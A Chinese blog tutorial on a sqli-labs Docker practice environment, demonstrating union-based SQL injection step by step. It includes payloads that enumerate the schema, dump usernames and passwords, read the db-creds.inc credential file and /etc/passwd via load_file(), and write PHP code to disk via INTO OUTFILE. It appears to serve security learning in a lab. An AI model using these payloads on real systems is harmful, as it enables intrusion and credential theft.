根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748
本章主要对说明的内容通过实战的方式进一步加深,实战环境
sqlilab,hackbar
如下图,进入sqli-lab docker后进行sql语句尝试
[root@localhost ~]# docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
f49f95b7655de49084fe7d76263865854cdd0ff508a2ac8096297af797b61d3e
[root@localhost ~]# docker ls
docker: 'ls' is not a docker command.
See 'docker --help'
[root@localhost ~]# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f49f95b7655d acgpiano/sqli-labs "/run.sh" 11 seconds ago Up 10 seconds 0.0.0.0:80->80/tcp, 3306/tcp sqli
[root@localhost ~]# docker exec -it f4 bash
root@f49f95b7655d:/# mysql -uroot -p
Enter password: #填空, 默认没有密码
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
通过注入单引号,网站返回sql报错,确认存在SQL注入,且得知数据库的类型为MYSQL
通过order by
进行试探得到,如下所示,当为order by 4
返回数据报错
sql注入语句说明,后台的原始数据为:
select * from users where id='$id' limit 0,1
#注入语句后替换为
select * from users where id='2' order by 3 --+limit 0,1
思路:通过union
来增加查询语句同时,并让第一条的查询语句select * from users where id='$id'
返回0,这个union进行笛卡尔积之后数据仅为union之后的查询结果。
如下图,我们得知显示的内容为2,3列。
现在就是根据前面讲过的获取库,表,列,数据的语法依次进行数据的获取:
一开始获取库名返回报错提示返回的行数多于1行,有两个解决办法:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
从上表我们知道user可能会函数用户敏感数据,因此,先对其进行查询:
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(concat(username, 0x7e, password)) from users
# concat(username, 0x7e, password) 用于将密码与用户名通过‘~’分隔起来
毫无疑问,上述操作主要是用于进行数据库中数据获取,当数据库中的数据不能支持我们进行进一步渗透时,还可以通过SQL注入漏洞进行提取,主要包括两个方面:
文件一般都是通过文件名爆破的方式进行获取,如下图获取db-creas.inc中的文件
id=' union select 1, 2, (select load_file('/var/www/html/sql-connections/db-creds.inc')) --+
也可以执行系统文件, 如/etc/passwd:
union select 1, 2, (select load_file('/etc/passwd')) --+
查询后,我们发现并没有显示文件内容,这主要是因为html显示问题,我们通过查看html 源码的方式进行查看。
真实的文件内容已经返回了:
font size='5' color= '#99FF00'>Your Login name:2<br>Your Password:
前提是mysql要有对特定目录具备写权限, 我们通过登录sqlilab map进行尝试,发现/var/www/html/目录下具备写权限功能
mysql> select '' into outfile '/var/www/html/phpinfo2.php' ;
ERROR 1 (HY000): Can't create/write to file '/var/www/html/phpinfo2.php' (Errcode: 13)
mysql> select '<?php phpinfo(); ?>' into outfile '/tmp/phpinfo2.php.txt';
Query OK, 1 row affected (0.01 sec)
因此,可以将文件放入到其他目录,但通过url访问(目录遍历)发现读取不到该目录。
根据上述所示,具体的url请求为:
http://192.168.168.128/Less-1/ ?id=' union select 1, 2, '' into outfile '/tmp/phpinfo.txt' --+
后台查看目录,发现写入成功:
root@366fac995ec2:/tmp# ls
phpinfo.txt phpinfo2.php.txt t.txt text2.txt text3.txt
root@366fac995ec2:/tmp# cat phpinfo.txt
1 2 <?php phpinfo(); ?>